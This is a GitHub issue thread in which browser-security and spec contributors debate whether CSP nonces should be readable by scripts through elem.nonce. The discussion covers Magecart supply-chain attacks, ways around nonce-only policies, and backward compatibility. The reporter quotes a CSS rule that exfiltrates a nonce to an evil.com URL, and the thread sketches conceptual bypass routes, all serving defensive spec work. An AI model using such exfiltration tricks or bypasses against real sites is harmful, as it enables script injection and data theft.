Open shaialon opened 3 years ago
Thanks for the well-written report, @shaialon! I do agree with the general concern about the risks of nonces being readable by scripts, but this is -- for better or worse -- happening by design. There are two major issues to keep in mind here:
CSP does not provide any meaningful security guarantees once a single attacker-controlled script has executed. An attacker who has achieved script execution has full control over the vulnerable origin's data (for example, they can exfiltrate it by mechanisms not covered by CSP such as navigations, postMessage
, or various other side channels) and can allow themselves to execute additional scripts.
For example, the attacker can inject scripts which will perform symbolic execution of JavaScript (similar to how e.g. Angular's ASTInterpreter works) and evaluate the contents of incoming messages, location.hash
, window.name
, etc.
The Magecart example is an attack that CSP really cannot mitigate, especially because server-side compromise allows the attacker to disable any policies set on pages with the attacker's malicious script.
Removing scripting access to nonces is backwards-incompatible. Any website which propagates nonces to dynamically created scripts by explicitly setting their nonce
attribute, without relying on 'strict-dynamic'
, would break, because these scripts would no longer load. I doubt we could do this, even if we decided this has security benefits.
As a workaround, authors who want to use nonce-based policies, but are worried about the nonce being read from the DOM by one of the trusted (nonced) scripts and used to transitively load additional scripts, can dynamically add a policy to disable script execution after the DOM has loaded. See the example in the "Mitigating DOMXSS even without nonce support" section at https://dropbox.tech/security/unsafe-inline-and-nonce-deployment -- in this case, the policy could be something like script-src 'none'
or script-src 'unsafe-eval'
.
Thanks for your report!
I wouldn't say a nonce-only (L4) policy is "bypassed" by the ability of blessed JS to access the .nonce
property of a DOM element. Removing that ability would make it impossible for libraries to selectively propagate nonces to scripts they inject. From your argument, it looks like you think this is no longer a valid concern, since 'strict-dynamic'
exists, but manual nonce propagation is used in high-security settings and still makes sense in general, when 'strict-dynamic'
is too broad.
To sum up my point of view: this is not an issue because if you have script execution in a blessed script, all kinds of nonce-based CSPs become useless (having a double nonce-based + allowlist-based policy - what we call L5 in our presentation - would protect even in this case).
It won't surprise you to learn that I agree with Artur and Miki. It's worth pulling in folks from other vendors to get their opinions as well, but IMO this is a reasonable part of CSP's threat model, and one that's difficult to change without breaking developer expectations.
/cc @johnwilander and @dveditz, who might be able to point to folks in WebKit and Gecko respectively.
Appreciate your responses and thoughts. I totally understand why changing this behavior now, would be a challenge in terms of backwards compatibility.
A few responses:
The Magecart example is an attack that CSP really cannot mitigate, especially because server-side compromise allows the attacker to disable any policies set on pages with the attacker's malicious script. ~ @arturjanc
I agree that this use case is not CSP's main intent or what it's highly optimized for (out of the box). I do however think it can provide some form of defense-in-depth protection. Many Magecart attacks are at the supply-chain level - could be on 3rd party static files that run in thousands of sites, or on the victims's file CDN. They typically would not be able to typically disable the CSP. Since a common attack pattern is injecting a small "probe" script from the breached asset, and from there loading a custom script from an attacker controlled origin, there is a benefit to the site developer to limit which scripts can be loaded by other scripts in the page (albeit blessed)
manual nonce propagation is used in high-security settings and still makes sense in general, when 'strict-dynamic' is too broad. ~ @mikispag
Got it. I guess I could imagine instances in which an attacker could get a script to run via another script, but not manage to get ahold of the nonce. I do however still believe that this "hack" to manually propagate the nonces, somewhat undermines the strength of L4 (or at least how I perceived it)... I like the L5 recommendation! I've been focused recently on generating the strict CSP allowlists automatically with a combination of analysis techniques, so this approach totally makes sense.
As a workaround, authors who want to use nonce-based policies, but are worried about the nonce being read from the DOM by one of the trusted (nonced) scripts and used to transitively load additional scripts, can dynamically add a policy to disable script execution after the DOM has loaded ~ @arturjanc
Interesting idea and approach! I am focused on general CSP technology (that can work on any stack), so this seems as it would be harder to rollout reliably at a generic level, compared to rolling out and L5 allowlist based policy as @mikispag suggested.
Since a common attack pattern is injecting a small "probe" script from the breached asset, and from there loading a custom script from an attacker controlled origin, there is a benefit to the site developer to limit which scripts can be loaded by other scripts in the page (albeit blessed)
The main challenge with this is that to thwart attacks in the scenario you're describing the browser would have to prevent the "probe" script injected by the attacker from doing one of the following:
To the first point: after an attacker has already managed to execute their initial script, that script will be permitted to communicate with the attacker's infrastructure in multiple ways: using mechanisms not covered by CSP (postMessage, navigations, window.name
), using APIs for which the vulnerable page doesn't set CSP directives (only a minority of sites set base-uri
or form-action
), or using domains allowlisted in the page's CSP (many advertising/widget domains commonly added to CSP host user-controlled content; the attacker can load their payload from such a domain). Addressing this would require changes to CSP itself, changes to pretty much every site's policy, and changes to the external content websites load. Even then I have little confidence that this would be sufficient because the web has a lot of side channels that permit communication between unrelated windows which the attacker could use to transmit their payload.
To the second point: an attacker who can execute their initial script can prepare the environment to turn any information received using one of the techniques above into executable code. The AngularJS ASTInterpreter example mentioned above is just one way to do this; in general, you can write a JavaScript parser in JavaScript delivered in the initial script and bypass any platform-level restrictions on dynamically executing code such as unsafe-eval
or loading additional scripts by re-using the script nonce from an existing script. I don't see how CSP could prevent that from happening.
In the end, I expect that all we would achieve by preventing an attacker from re-using a nonce after they've already executed their probe script is that they'd have to write a little more code to get around the platform restrictions that we'd put in place here: we wouldn't be adding a defensible security boundary. (A silly analogy here is that we could also ban any script with the letter "t" -- this would probably break all XSS payloads, but attackers would quickly adjust and rewrite their code to work in the face of such a restriction.)
@arturjanc Thanks for the thoroughly crafted explanation!
You've definitely convinced me that exposing the nonces to JS has more advantages than drawbacks, and that the specs don't need to be changed.
Regarding your arguments, while I agree with you that it may be possible for an attacker to technically overcome a very strict CSP, in practice - given the many limitations that attackers have (harder to add a more complex probe, need to custom fit solutions to a specific site CSP), I think a strict CSP would prevent the effects of a Magecart attack in the vast majority of cases, and attacks would focus on more exposed sites (which are plentiful).
Also, with regards to your thoughts about current utilization of CSP, I agree that most sites are doing it wrong, which is why my team and I have opened CSP Scanner which detects the use cases you described:
only a minority of sites set base-uri or form-action
many advertising/widget domains commonly added to CSP host user-controlled content; the attacker can load their payload from such a domain
We also opened RapidSec which abstracts away the complexity in managing a CSP, and makes it possible for any site to deploy a strict content-security-policy (along with other best practices such as SameSite cookies and other headers). This is still evolving as we go, but already seeing much stronger policies being deployed by early customers!
Cheers, Shai
The escalation seen here is similar in effect: https://github.com/w3c/webappsec-csp/issues/243
As per this issue, a nonce
is not enforced for ES module imports from within a trusted script (even without strict-dynamic
enabled), which makes the behavior of these imports equivalent to strict-dynamic
. Even with a nonce
policy, and no attacker scripts running, if a vulnerable script can be coerced to dynamically import()
an attacker-controlled script, an application is compromised.
Based on my understanding of this, strict-dynamic
appears to be de-facto equivalent to the behavior effectively possible given a nonce
policy. (So it may be appropriate to consider a nonce
policy to in fact provide only the assurances of a strict-dynamic
policy, which aligns with above descriptions that as soon as any attacker script is running, the application is entirely compromised.)
It seems to me that when using nonce
(or nonce
with strict-dynamic
), a second CSP should be applied to restrict to a known source list in addition to the nonce
-based policy.
Even with a nonce policy, and no attacker scripts running, if a vulnerable script can be coerced to dynamically import() an attacker-controlled script, an application is compromised.
This is true, but note that this is also the case for a regular nonce-based policy independently of import()
. If the application legitimately loads a script (via <script nonce=... src=...>
or document.createElement('script')
) and there's an injection into the URL of that script, the attacker can also compromise the application.
It seems to me that when using nonce (or nonce with strict-dynamic), a second CSP should be applied to restrict to a known source list in addition to the nonce-based policy.
It's not a bad idea to have an additional CSP with an allowlist, but this is not required to uphold the security properties of a nonce-based CSP. If you have a CSP with a nonce
and there's a regular HTML injection in your application, the CSP will generally prevent script execution; if there's an injection into the URL of a <script src>
or into the body of an inline <script>
element with the correct nonce, the CSP will not protect you and the attacker will be able to execute arbitrary scripts.
Basically, since controlling the arguments to import()
requires one of the two kinds of injections mentioned above, there's relatively little additional benefit in controlling what the import()
can load. FWIW this slide deck has some more context and opinions about useful policy combinations.
Summary
It is recognized that a
nonce
basedContent-Security-Policy
(CSP) is stronger if it does not allowstrict-dynamic
, since scripts that are running cannot load other scripts arbitrarily. However, the w3c specs, and browser implementations of Chrome and Firefox, allow any running script to extract thenonce
from a DOM element, thus being able to load any remote script and bypass the CSP. The "strong" policy withoutstrict-dynamic
, essentially becomesstrict-dynamic
anyway, since any running script can access the nonce from the DOM and use it to load any other script from any origin.Explanation
Background
It is recognized that a L4
nonce
based CSP such as:Would be stronger than an L3 CSP using
strict-dynamic
:Example explanation of this by @mikispag @lweichselbaum in this talk:
Issue with specs
The w3c specs clearly recognize the risk of exposing the nonce, as can be seen in 7.2.2. Nonce exfiltration via content attributes, that blocks
elem.getAttribute('nonce')
(and access via css such asscript[nonce=a] { background: url("https://evil.com/nonce?a");}
).However, the specs intentionally allow scripts to access the
nonce
, as example byelem.nonce
This essentially provides a way to bypass strict L4 policies and "downgrade" them into L3 (or below)
Past Reasoning
The reasoning was also discussed by @arturjanc back in 2016 :
However, the community has since figured that it does not make sense for all libraries to be "csp compatible" as was imagined back in in 2016, and hence decided on the
strict-dynamic
standard, that leaves the decision up to the site developer. If the developer addsstrict-dynamic
- then scripts can automatically load other scripts automatically, and don't have to be "CSP compatible". However, if the developer explicitly sets an L4 nonce policy (withoutstrict-dynamic
) - then scripts should not be able to load other scripts.Problem that this creates
Since the current spec that allows extracting the nonce easily from any existing script DOM node, it essentially downgrades an L4 CSP to L3 - and imposes a
strict-dynamic
even on stronger policies.@mikewest suggest 4 years ago in this comment that an attacker will not have script access:
Today however, attackers may have script access - and the CSP needs to defend against that also. One such prevalent form of attacks on the web client-side is supply chain attacks know as Magecart, in which attackers manage to inject a snippet into a pre-approved script, and dynamically load a custom attack script from an attack-controlled origin. An allowlist based CSP would be able to block such loading of a script, but due to the easy ability to extract nonces from the DOM, an L4 policy would be bypassed in this case.
Context
I submitted this bug report to the chromium project, only to find that current approach of blocking the nonce from
getAttribute
, but having it accessible viaelem.nonce
is the specification.Suggestion
Prevent exposing the
nonce
to script access - which degrades the actual effectiveness of nonces. The developers can specifystrict-dynamic
if they would like to allow scripts to load other scripts.